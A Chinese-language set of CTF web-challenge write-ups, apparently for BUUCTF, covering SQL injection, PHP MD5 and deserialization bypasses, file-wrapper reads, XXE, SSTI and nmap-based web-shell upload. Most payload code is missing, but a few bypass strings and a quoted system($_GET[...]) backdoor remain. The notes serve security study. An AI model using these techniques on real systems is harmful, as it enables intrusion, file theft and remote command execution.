[BJDCTF2020]Easy MD5

进入网站

image-20210513105322411

抓包发现了个线索,一个SQL语句,这里可以确定是SQL注入了,但是和MD5编码相关

image-20210513105758984

md5(string,raw)

参数
描述

string

必需。要计算的字符串

raw

可选。 默认不写为FALSE,32位16进制的字符串;TRUE,16位原始二进制格式的字符串。

md5(string,true)函数在指定了true的时候,是返回的原始 16 字符二进制格式。 这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是 ' 字符。6f就是对应 o

这不是普通的二进制字符串,而是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。这样的话就会和前面的形成闭合,构成万能密码。

这就是永真的了,这就是一个万能密码了相当于1’ or 1=1#或1’ or 1#。接下来就是找到这样子的字符串。而上面的字符串 ffifdyop就是其中一个payload,就可以直接用了

但是我们思考一下为什么6\xc9]\x99\xe9!r,\xf9\xedb\x1c的布尔值是true呢?

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数(这类似于PHP的弱类型)。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。这里不只是1开头,只要是数字开头都是可以的。当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

我们输入这个ffifdyop字符串以后出现以下的页面:

image-20210513114017635

查看源码发现以下内容

代码的意思就是a,b两个参数要不相等,但是呢他们两个的MD5值需要相等。这里我想的是估计又是要利用PHP弱类型的缺陷绕过了。

md5()

PHP 手册中的 md5()函数的描述是 string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。

以上内容是我在web篇总结的,正好用到此处,PHP内置函数的松散性,利用数组绕过。

这个题的payload估计是传递两个数组参数,虽然传递的数组内容值不一样,但是两个数组的md5值也会相等

成功到达下一步

image-20210513114738649

看这一步的代码是用post方法传递数值,绕过方式和上一步一样,得到flag值

image-20210513115227768

[ZJCTF 2019]NiZhuanSiWei

进入网站,出现了代码,开始代码审计吧

第一个绕过:

这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话才能继续往下一步走,现在就剩下一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数读取文件。构造如下,

当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。data://text/plain,welcome to the zjctf

第二个绕过

这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:

所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

读到的useless.php内容如下:

第三个绕过

这里的file是我们可控的,所以在本地测试后有执行下面代码即可出现payload:

最后payload

最终获得flag值

image-20210513150311612

[网鼎杯 2018]Fakebook(*)

image-20210513151443501

试了一遍各个功能,没有发现什么异常,没有思路,看看别人的WP吧

扫描目录发现了/robots.txt,打开发现了/user.php.bak,下载下来是PHP代码

开始代码审计,肯定又是考察反序列化。先注册一个用户,登陆之后值url地址栏发现了异常,有?no=1,试试有没有注入漏洞,果然有,数字型注入,列数是4个

image-20210516135409180

还限制了关键字,用注释绕过,成功得到2的位置可以回显,开始爆破数据库吧

image-20210516135616281

数据库:fakebook

版本号:10.2.26-MariaDB-log

用户:root@localhost

所有数据库:fakebook,information_schema,mysql,performance_schema,test

fakebook数据库中的表:users

users表中的字段:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

成功得到users表中的内容:

image-20210516140136567

分别是id、username、MD5(password)、data

其中data正好是序列化之后的字符串,age、blog还是在页面显示的内容。

image-20210516140431478

the contents of his/her blog好像是直接调用blog地址中的内容。

有一个思路:

页面内容是从序列化的字符串得到的,存在注入点,咱们直接用union select语句把一个自定义的序列化内容传递给php后台,让他在前台显示,就是利用前面得到的php代码,利用ssrf漏洞去访问他自己的服务器中的flag文件,然后在the contents of his/her blog中显示。

第一步构造序列化字符串

第二步构造注入点payload

image-20210516141900218

flag.php文件的内容就在the contents of his/her blog中,打开源码

image-20210516142013398

点击链接成功获得flag值

image-20210516142029701

这个题考的SQL注入、反序列化、还有ssrf,知识点挺多的,对思维逻辑要求挺高的

[极客大挑战 2019]HardSQL

进入网站

image-20210516175647200

开始SQL注入吧,看看这次会有什么限制。经过手工测试过滤了and、= 空格 union等多个sql关键字, 等号可以使用like来代替,试试报错注入

image-20210516191332950

“百度杯”CTF比赛 十二月场——notebook(。。。。。)

image-20210516193110579

在URL地址上发现了文件包含的异常,试试有没有文件包含漏洞,并且扫一下网站目录

扫描网站发现了robots.txt文件,打开内容有一个文件名 php1nFo.php

image-20210516193557636

利用条件:session文件路径已知,且其中内容部分可控。 php的session文件的保存路径可以在phpinfo的session.save_path看到。 session 的文件名格式为 sess_[phpsessid],而 sessionid 在发送的请求的 cookie 字段中也可以看到。

注意:文件包含漏洞中,不论该文件是不是PHP的文件,文件中的PHP代码都会被解析

此题中存在变量可以被控制,所以直接输入一句话木马被文件包含的时候解析成功,再用蚁剑连接即可

“迎圣诞,拿大奖”活动赛题“迎圣诞,拿大奖”活动赛题——SQLi(。。。。。)

image-20210517143541651

“百度杯”CTF比赛 十月场——Vld(。。。。。)

image-20210517143704349
image-20210517143713796
image-20210517144651012

https://www.cnblogs.com/leixiao-/p/9784904.html

[CISCN2019 华北赛区 Day2 Web1]Hack World

image-20210524181023155

1/1判断出是数字型注入,过滤了空格、union、select、or、and等关键字。这个网页上提示了重要信息在flag.flag表中,

这个题可以使用异或布尔盲注获取flag值,payload:

image-20210524182727624

如果(ascii(mid((select(flag)from(flag)),1,1))>33)语句为真的话,页面会回显Hello信息,编写python脚本,爆破flag值

最终结果:

image-20210524184008289

[极客大挑战 2019]HardSQL

报错注入

空格被过滤,用()绕过

获取数据库payload:

image-20210520100638554

获取所有数据库payload:这里遇到一个问题,显示的信息不全,并且limit我不知道怎么绕过空格使用,用括号绕过没效果

image-20210520101459044

使用right()函数,成功爆出全部的数据库名称,payload:

image-20210520102620076

开始爆破 geek中的表名,payload:等于号也被过滤了,用like代替

image-20210520102854813

开始获取H4rDsq1表中的字段,payload:

image-20210520103020443

获取geek.H4rDsq1表中的信息,payload:

获得左半部分的flag:flag{e1df861a-33ff-42af-ad

image-20210520103240195

获取右半部分flag:2af-ada8-3c1375bf5430}

image-20210520103431924

拼接flag:flag{e1df861a-33ff-42af-ada8-3c1375bf5430}

[GXYCTF2019]BabySQli

image-20210524184108107

页面显示是个登录框

源码中发现了个search.php文件,点击此文件

image-20210524184255182

查看源码,发现了注释中有东西,加密的字符,尝试一下base64不行,用base32再用base63解码,最后才成功

image-20210524184318745
image-20210524184635206

出来了一个SQL语句: select * from user where username = '$name',对应着初试网站的登录框的SQL语句吧。

输入admaain用户名,显示错误的用户名

image-20210524185008439

输入admin用户名,显示密码错误,看来数据库中存在admin用户

image-20210524185105942

上面的SQL语句会根据name把用户名密码等字段信息显示出来,我们是否可以使用union select语句也添加一条暂时的数据。例如:

image-20210524185540017

name存在SQL注入,可以使用上面的方法让后台代码执行我们伪造的SQL数据,从而成功登录

image-20210524185729951

name=admin'union+select+1,2,3%23&pw=111使用这条语句判断出user表有3列,应该就是id、name、pw字段了。

payload:

其中69……字符串是111的MD5加密值,最后成功获得flag

image-20210524190244388

[SUCTF 2019]CheckIn

过滤了 php、php3、php4、php5、pht、phtml等后缀,限制了内容以图片头开头,且内容中不能有<?

下面是我绕过的情况,最终传递上去了假的图片,但是并不能解析

image-20210520111101492

看看别人的wp

前置知识:.user.iniarrow-up-right

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

[网鼎杯 2020 青龙组]AreUSerialz

__wakeup()触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。

开始代码审计,传递一个 str名称的参数,然后他被反序列化。代码中有个read()函数,我们要让他执行去获取flag.php中的源码。

$obj = unserialize($str);这句话执行的时候会调用 __destruct()方法,如果op==='2'就会置为1,从而执行write()方法,这并不我们所希望的,我们希望执行read(),这里可以使用op=2(数字型绕过)

payload:对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

image-20210525193154240

[MRCTF2020]你传你🐎呢

上传.htaccess和.png两个文件即可

image-20210520194054808

上传图片格式解析成功,说明一句话木马上传成功,用蚁剑成功连接即可。

image-20210520194750013

[GYCTF2020]Blacklist

image-20210520215927831
image-20210520215947311

用堆叠注入可以。

查询databases:

image-20210520220341018

查询数据库中的表:

image-20210520220559365

查询 FlagHere 表中的字段:

image-20210520220648149

查询words表中的字段:

image-20210520220750951

由此可以想到该输入框的SQL语句应该是 select id,data from words where id = ?

因为可以是堆叠查询,这时候我们可以使用改名的方法,把含有flag的"FlagHere"表改名为words,再把flag字段改名为id,结合上面的1' or 1 #爆出表内所有的内容就可以查到flag了。

payload:

image-20210521094218343

rename和alter关键字都被过滤了!!!

查看别人的wp,使用Handler

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。 ———————————————— HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

最终获取flag的payload:

image-20210521095405104

又学到了一个姿势。

[MRCTF2020]Ez_bypass

打开网页是PHP代码,开始代码审计吧

成功绕过两处PHP代码限制,获得flag值

image-20210521100210960

[BUUCTF 2018]Online Tool

进入网站就是代码,开始审计

https://blog.csdn.net/qq_26406447/article/details/100711933

传递一个 host参数,经过两个函数 escapeshellargescapeshellcmd的处理

PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)arrow-up-right,这个文章里介绍两个函数一起用会引发问题

  1. 传入的参数是:172.17.0.2' -v -d a=1经过escapeshellarg处理后变成了'172.17.0.2''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

  2. 经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$`, \x0A\xFF'" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

  3. 最后执行的命令是curl '172.17.0.2'\'' -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

nmap工具中有一个参数是可以创建文件的 -oG,可以实现将命令和结果写到文件,payload

成功把hack.php文件传到服务器,用蚁剑连接一句话木马文件即可。

image-20210526125439243
image-20210526125407846

[GXYCTF2019]BabyUpload

image-20210521205039601
image-20210521205048515

上传 .htaccess.png文件即可,并且用长语法PHP代码绕过限制,用蚁剑连接即可。

image-20210521205209107

[强网杯 2019]高明的黑客

image-20210521205411113

下载完成之后,解压文件后发现,文件夹中的所有文件名字和文件中的内容都被编码了

image-20210521205508938
image-20210521205547451

不是base64、base32编码,不是md5和rot13。好像并不能还原这些编码,并且这些编码后的代码也能正确执行,看了别人的WP,写python脚本来找含有get或者post请求漏洞的PHP文件。

image-20210521215022951

https://www.zhaoj.in/read-5873.html#0x02

image-20210521222210419

去这个文件里看看。这一段是关键,拼接了一个 System 出来调用 Efa5BVG 这个参数。

system($_GET['Efa5BVG'])

image-20210530163754515

[GXYCTF2019]禁止套娃

image-20210522155734364

注释没有什么东西,抓包和扫描目录,看看能发现什么东西?

扫描出.git

image-20210522161120494

localeconv() 函数返回一包含本地数字及货币格式信息的数组。 scandir() 列出 images 目录中的文件和目录。 readfile() 输出一个文件。 current() 返回数组中的当前单元, 默认取第一个值。 pos()是 current() 的别名。 next() 函数将内部指针指向数组中的下一个元素,并输出。 array_reverse()以相反的元素顺序返回数组。 highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

https://www.cnblogs.com/wangtanzhi/p/12260986.html

本题考查无参数RCE

current(localeconv())永远都是个点

payload:

image-20210522164917590

或者使用session

image-20210522165838223

[GWCTF 2019]我有一个数据库

数据库版本有文件包含漏洞,百度一下payload就可以了

image-20210522172659715

[RoarCTF 2019]Easy Java

前置知识:

help超链接的源码:

image-20210530164458018

在url栏上显示了貌似是文件下载,根据java配置文件的目录,咱们可以先去获取web.xml配置文件的信息,修改一下地址,让它指向/WEB-INF/web.xml,结果文件还是找不到,抓包把get方法改成了post方法,成功获得web.xml的信息并且看到了flag的路径

image-20210530165141958

去访问该class文件的路径,获得class文件

image-20210530165427023

复制出来,咱们用工具反编译一下即可获得java代码

image-20210530165811478
image-20210530165944724

其中,把get方法改成post方法的原因应该是java后台代码中并没有执行doGet()方法,而是在doPost()方法中写的运行代码

[BJDCTF2020]The mystery of ip

hint.php源代码

image-20210522200551504

flag.php,显示了本机的外网地址

image-20210522200752779

修改一下数据包client-ip或者XFF字段,成功修改了显示的ip地址

image-20210522200928089

猜测一下PHP代码中有获取ip地址的代码,试试存在SQL注入吗?好像不存在

看看别人的WP,存在SSTI

image-20210522201647861
image-20210522202112920

成功执行phpinfo()信息

用同样的方法可以轻松获得flag:

payload:

image-20210522202301199
image-20210522202331777

https://blog.csdn.net/qq_45521281/article/details/107556915

[BJDCTF2020]ZJCTF,不过如此

直接代码审计

利用上述代码的payload,其中用到了的远程文件包含中的两个伪协议

image-20210522203713505

结果base64解码:

没看懂complex函数的功能,看看别人的WP

preg_replace

preg_replace(pattern, replacement, subject)

当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。 这里第二个参数固定为strtolower("\1") 这里的\\1实际上体现为\1

反向引用 对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

payload:

\S:匹配任何非空白字符。* : 匹配前面的子表达式零次或多次。

\S*: 表示匹配0次或多次的任何非空白符

image-20210530172314819

成功匹配getFlag()方法,然后在传递cmd参数为系统命令执行即可

image-20210530173256220
image-20210530173312605

[BJDCTF2020]Mark loves cat

存在.git泄露

image-20210523140600446

获得index.php,下面是php代码片段:

代码的意思好像是会覆盖$flag变量,这样就不会执行flag.php文件中的$flag,我们要想办法绕过代码中的限制。

使用变量覆盖,可以用$flag的值覆盖$yds或者$is,并对应执行exit($yds)或者exit($is)

第一种方法:执行 exit($yds)

只要传输的变量名不是flag就会执行,可以直接用get方法传递参数:yds=flag,这个参数经过执行 x=x =y;就会变成$yds=$flag,这样$flag值就会覆盖$yds,并且也不符合if(!isset($_GET['flag']) && !isset($_POST['flag'])),成功执行exit($flag)

第二种方法:exit($is)

如果传输的变量存在flag===flag就会执行,要把$is变量覆盖为$flag

首先要get方法传输is=flag --> $is=$flag

还要符合 if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')就要用get方法传递flag=flag -->$flag=$flag(没变化,还是在flag.php中获取值)

组合payload:is=flag&flag=flag -->$is=$flag&$flag=$flag

image-20210523145203792
image-20210523145237567

这两种方法都成功获得flag值

[安洵杯 2019]easy_web

image-20210523150024399

在源码中发现了,估计后面会用到md5

image-20210523150051515
image-20210523151040382

常用命令被禁止了

img的值经过base64解密-->base64解密-->hex得到图片名为555.png

然后可以使用这种办法获得index的源码 hex-->base64加密-->base64加密 image-20210523153516965

浅谈md5弱类型比较和强碰撞arrow-up-right

可以使用 fastcoll.exe工具生成两个md5值一样的文件

  1. 找到一个可执行文件, 我们以它的文件内容为前缀,这里我选择的是windows下的init.txt

  2. 打开cmd命令行: fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt, 此时生成两个文件1.txt和2.txt, 而此时发现这两个文件都同init.txt一样是可以运行的

image-20210530181416844

使用MD5验证工具可以看到这两个文件的MD5值是一样的,但是里面的内容却不一样

image-20210530181740640

使用php脚本查看md5值:

image-20210530182623686

这里有个坑,使用burp里的url编码和在线网站的url编码都会导致错误,可能是因为文件里有乱码的原因吧,建议使用php脚本的url编码

于是咱们把这两个文件里的内容进行url编码使用参数传递即可绕过限制

现在还有一个cmd参数需要传递,很明显就是传递linux命令,但是上面的源码中限制了很多命令,咱们可以使用命令之间+\进行绕过

例如:ls 、l\s这两个命令执行的结果是一致的

image-20210530183824276

所以下一步就是找到flag文件

image-20210530184018159

payload:

成功获得flag

image-20210530184114495

《从0到1:CTFer成长之路》题目——sql注入1

经过测试,这题是单引号字符型注入image-20210524110208950

version: 5.5.64-MariaDB-1ubuntu0.14.04.1

database: note

user: root@localhost

获取所有数据库:

image-20210524110507171

获取 note数据库中的表:

image-20210524110600886

获取 fl4g表的所有字段:

image-20210524110703356

获取note.fl4g表中的内容:

image-20210524110812372

成功获得flag

“百度杯”CTF比赛 十二月场——Blog(。。。。)

image-20210524111619121

扫描目录发现了flag.php,但是里面什么都没有,估计是利用这个网站的漏洞去读取php源码

image-20210524112618095
image-20210524120228991
image-20210524120239166

[网鼎杯 2020 朱雀组]phpweb

image-20210524141929226

序列化魔术方法:

__wakeup() //使用unserialize时触发

___sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发

序列化payload:

image-20210524143316796

但是找不到flag在哪。构造exp。

image-20210524150336787

[NCTF2019]Fake XML cookbook

本关卡考察的是XXE

image-20210531090644239

抓取流量包,发现传输的参数经过了加工变成了xml格式的数据,并且返回的数据包含username值

image-20210531090940477

怀疑是否存在XXE注入,可以使用外部实体引用的方法,用用户名aa返回想要获得系统信息

payload:

获取/etc/passwd文件的内容,测试是否存在XXE漏洞

image-20210531091938329

获取flag文件的值

image-20210524203423276

直接读取/flag文件,获取flag值

image-20210524203643801

外部实体示例代码:

外部实体可支持http、file等协议。不同程序支持的协议不同:

img

PHP引用外部实体,常见的利用协议

[De1CTF 2019]SSRF Me(。。。。)

image-20210525172355395

进入网站是一段python代码,用的是Flask框架,不太熟悉

image-20210525181241873
image-20210525181210108
image-20210525193459349

查看hint.php源码,说明cookie中有信息

image-20210525193643238

抓包,发现cookie中有user字段,试了一下并不是SQL注入,怀疑是SSTI,发现了异常

image-20210525194729947

看来是SSTI,但是代码做了过滤,自己对SSTI也不太熟悉,看看别人的WP

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2 {{7*'7'}} 回显49 ==> Twig

这里为Twig

payload

获取flag

image-20210525201813511

[CISCN 2019 初赛]Love Math

传递一个参数c,对传递的内容用正则进行了限制字符和函数,只能使用给定的白名单函数来绕过限制,执行咱们想执行的命令,也就是cat /flag

如果没有任何限制的话,传递的参数应是:

由于做了函数白名单限制,我们可以使用进制转换进行绕过

把_GET使用base_convert()函数由36进制变成10进制的数字,但是这样好像行不通,因为_符号无法用36进制表示出来,所以我们先获取hex2bin()函数,这个函数的作用是把16进制转换成字符串。

接下来就是构造_GET的16进制:5f474554

但是传递的参数内容不能有引号,所以还要把_GET的16进制字符串转换成10进制数字

hexdec('5f474554'):1598506324,所以base_convert(37907361743,10,36)(dechex(1598506324))-->_GET

_GET构造出来了,接下来就是传递参数了,上述代码限制了[]中括号,咱们可以使用{}花括号绕过,而其中的pi、abs变量名也是上面白名单中的数学函数,这样才能绕过限制

image-20210531103458852

看看别人的WP,利用的是进制之间的转换构造函数

[BSidesCF 2020]Had a bad day

image-20210526134522215

扫描目录发现了flag.php文件,但是页面是空白,估计是想办法利用漏洞读取源码

利用filter伪协议,获取了index.php的源码

image-20210526135843834

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php 尝试直接读取/index.php?category=woofers../../flag

image-20210526141802506

出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取 利用php://filter伪协议可以套一层协议读取flag.php /index.php?category=php://filter/convert.base64-encode/index/resource=flag 套一个字符index符合条件并且传入flag,读取flag.php

image-20210526141642703

成功获得flag值:

image-20210526142129672

[ASIS 2019]Unicorn shop

image-20210526142919805

抓包发现商品的价格做了限制,只允许输入一个字符

image-20210526143542181

如果只输入id,不输入price还会报错

image-20210526144048218

提示需要一个single Unicode字符,而且只允许输入一个字符只能买1,2,3号马,买不了4号马,那么很显然,买到这个4号马,就能得到flag!

源码提示UTF-8很重要,这里需要了解下UTF-8是什么类型编码 得到思路,利用Unicode字符中的一些特殊字符来代替输入的价格,从而得到flag

https://www.compart.com/en/unicode/ 这个网站有很全的Unicode字符

image-20210526145136714

选择一个大于1337的,复制他的utf-8的编码,并把0x改为%,传输即可

image-20210526145429829

[安洵杯 2019]easy_serialize_php(。。。。。)

在构造假的序列化字符串的时候,_SESSION里面的键值对必须为三对,因为_SESSION中有 user function img这三个键

image-20210527092136966

[SUCTF 2019]Pythonginx

注释中还有两句提示

image-20210527100934258

本题考的是Unicode编码

℆这个字符,如果使用python3进行idna编码的话 print('℆'.encode('idna')) 结果 b'c/u' 如果再使用utf-8进行解码的话 print(b'c/u'.decode('utf-8')) 结果 c/u 通过这种方法可以绕过网站的一些过滤字符

所以咱们可以使用python脚本去爆破一下经过idna编码和utf-8解码之后的成功显示suctf.cc主机的Unicode编码

image-20210531105549456

复制Unicode编码去https://graphemica.com/查询url编码

然后用file协议去获取Nginx配置文件的信息

image-20210531110316539

知道了flag文件的位置在/usr/fffffflag

image-20210531110407088

nginx的信息

ngnix服务器配置目录 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf

[WUSTCTF2020]朴实无华

image-20210606125534890

在robots.txt中发现了一个php文件,访问他没有发现异常

image-20210606125637727

抓包访问该文件,发现了下一步的PHP文件

image-20210606125848954

访问fl4g.php

image-20210606125934183

里面全是乱码,用Unicode编码得到下面的代码

这个代码有三关,需要绕过num、md5、get_flag

  • num: intval($num) < 2020 && intval($num + 1) > 2021,使用科学计数法e来绕过,直接调用intval()函数,因为传递的是字符串,所以科学计数法的e会被忽略不显示,如果在调用intval()之前+1就会启用科学计数法变为2019000+1

    image-20210606130737392

  • md5:$md5=$_GET['md5']; if ($md5==md5($md5)),某个字符串在md5之前与md5编码之后是一样的,由于是弱类型比较,所以只需要找到0eXXXXXX类似的字符串即可,他在MD5之后也是0eXXXXXXX类型的。

    注意,这里md5之后得到的0exxxxxx,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。,如下所示

    image-20210606135111769

使用python脚本

  • get_flag:获取文件

    image-20210606140014890

    接下来就是读取此文件中的内容,代码中过滤了空格和cat 我们可以使用 ${IFS}、$IFS$1、<和tac、ca\t、sort绕过

payload:

image-20210531150845212

[SWPU2019]Web1

image-20210606140603948

先注册账号并登录,进去只有个申请发布广告的功能

image-20210606140634802
image-20210606140707803

怀疑是否存在SQL注入,用SQL语句试试。

image-20210606140812308

点击广告详情并没有什么反应,看看代码,在代码中看到了连接,手动在地址栏输入访问

image-20210606140915266

果然存在SQL注入,报了语法错误

image-20210606141010884

接下来我们就是尝试爆破数据库中的一些信息。过滤了 and or order # 空格

我们直接使用union select 来查询列数,使用/**/来绕过空格,使用'代替注释

image-20210606141518250
image-20210606141507805

并不是4列,最终获取出来列数是22,2和3的位置回显信息

image-20210606141725852

获取数据库信息

image-20210606141841655

开始获取数据库中的表信息:

好像or被过滤了,不能使用information_schema数据库了,只能换个办法获取数据库信息了。https://www.anquanke.com/post/id/193512这篇文章讲了information_schema库被限制之后,还有哪些思路

仔细想想,information_schema在注入中不可或缺的原因无非是因为它包含了所有其他数据库的信息,主要是table_schema,table_name.column_name等等。那么有没有具有类似功能的存在呢?文章中提供了一种解法:sys.schema_auto_increment_columns该视图的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一 表。

下面是我本地数据库的演示,含有自增id的数据库和其中的表都显示出来了。

image-20210606143042513

利用上述代码获取数据库中的表:

image-20210606144645078

显示这张表不存在,原来buu用的是mariadb,没有这张表。所以可以用其他的表来替代。

MariaDB:mysql.innodb_table_stats用于报表名-->select group_concat(table_name) from mysql.innodb_table_stats where database_name=库名

获取表名payload:

接下来由于不知道列名,引入一个以前自己不怎么熟悉的点:无列名注入,这里看到一篇文章讲的很准确:

image-20210606150848175

接下来就是获取表中的字段名

无列名注入,参考CTF|mysql之无列名注入arrow-up-right

image-20210606151353270

其中未知的列名被替换成了数字,也就是说,我们可以继续数字来对应列,如 2 对应了表里面的 username:

image-20210606151547725

末尾的a可以是任意字符,用于命名

当然,多数情况下,` 会被过滤。当 它不能使用的时候,使用别名来代替:

image-20210606151755143

同时查询多个列:

image-20210606151941008

payload:

image-20210531155623906

[0CTF 2016]piapiapia

image-20210601164508391

[NCTF2019]True XML cookbook

通过抓包发现存在XXE漏洞

image-20210606154122241

可以利用xml的外部实体引用去获取服务器内部的一些信息

image-20210606154435026

利用php://filter伪协议获取PHP文件内容,但是并没有什么发现

image-20210601174731955

https://blog.csdn.net/SopRomeo/article/details/107491606

接下来利用XXE打内网

file:///etc/hosts 读取/etc/host,查看存活主机

image-20210601185737945

file:///proc/net/arp查看eth0网卡所属的网段信息

image-20210601195954013

使用intruder模块爆破网段

image-20210606155401743
image-20210601195923391

[NPUCTF2020]ReadlezPHP

在源码中获取了一个php网页地址,访问这个地址获得下面的源码

image-20210601200450785

看了代码之后很明显要考序列化的知识

system函数被禁用了

payload:

image-20210601203107697

这道题简单,只需要只要序列化就可以了,没有很绕

[WesternCTF2018]shrine

打开页面就是下面的代码

考察的是python的模板注入,并且限制了()和两个关键字

image-20210602123836022

上面有代码提示flag在config中,咱们可以绕过限制去获取flag值,python还有一些内置函数,比如url_for和get_flashed_messages

  • url_for() ---- 一般我们通过一个url即可执行到一个函数,如果知道一个函数,如何去获得url呢?url_for函数可以实现这个功能。url_for() 接收两个及两个以上的参数,以函数名作为第一个参数,后面的参数是url的命名规则

  • get_flashed_messages() ---- 返回之前在Flask中通过 flash() 传入的闪现信息列表在渲染模板时,不需要手动分配

  • 可以直接在 模板 中使用的 模板变量 及 函数:config、request、url_for()、get_flashed_messages()

image-20210606161044052
image-20210602124418330

WP | 大专栏 (dazhuanlan.com)arrow-up-right

(6条消息) 【攻防世界】十七 --- shrine_通地塔的博客-CSDN博客arrow-up-right

[极客大挑战 2019]FinalSQL

image-20210602130328557

空格、mid()、or、and被过滤

本题使用SQL盲注,数字型注入

布尔盲注脚本:

image-20210602181913873

[网鼎杯 2020 朱雀组]Nmap

image-20210603111952247

源码注释中给了flag的位置

image-20210603112058032

nmap有个参数 -oG是保存内容到一个文件中的,本题可以使用创建一句话木马,短标签绕过

payload:

过滤了php,使用phtml后缀绕过

image-20210606162032019
image-20210606162646857

和以前做过的Online Tool题目套路一样

蚁剑连接,找到/flag文件

image-20210603115418451

[MRCTF2020]Ezpop---序列化pop链

审计代码,考察的应该是序列化的知识:序列化pop链

  1. 序列化Pop链,利用几个类之间相互关联进行构造

  2. 文件包含漏洞:Modifier类中append函数使用了include(),会出现文件包含漏洞。

魔术方法:

__construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发

https://blog.csdn.net/weixin_43952190/article/details/106016260

  • 根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

  • __wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;

  • 如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的__get()方法。

  • 如果__get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的__invoke()方法。

  • 利用文件包含漏洞,使用_invoke()读取flag.php的内容。

payload:

image-20210603141332169
image-20210603141342459

[CISCN2019 华东南赛区]Web11

image-20210603165844097

发现了本机的ip地址,在数据包中尝试修改了一下XXF头,并不存在SQL注入漏洞,又怀疑存在ssti漏洞,试了一下成功发现SSTI

image-20210603170045820
image-20210603170451129

使用system函数查看系统文件,获得了flag

image-20210603170646413
image-20210603170717056

本题考察的就是ssti,难度不大

[BJDCTF2020]EasySearch

image-20210603172041583

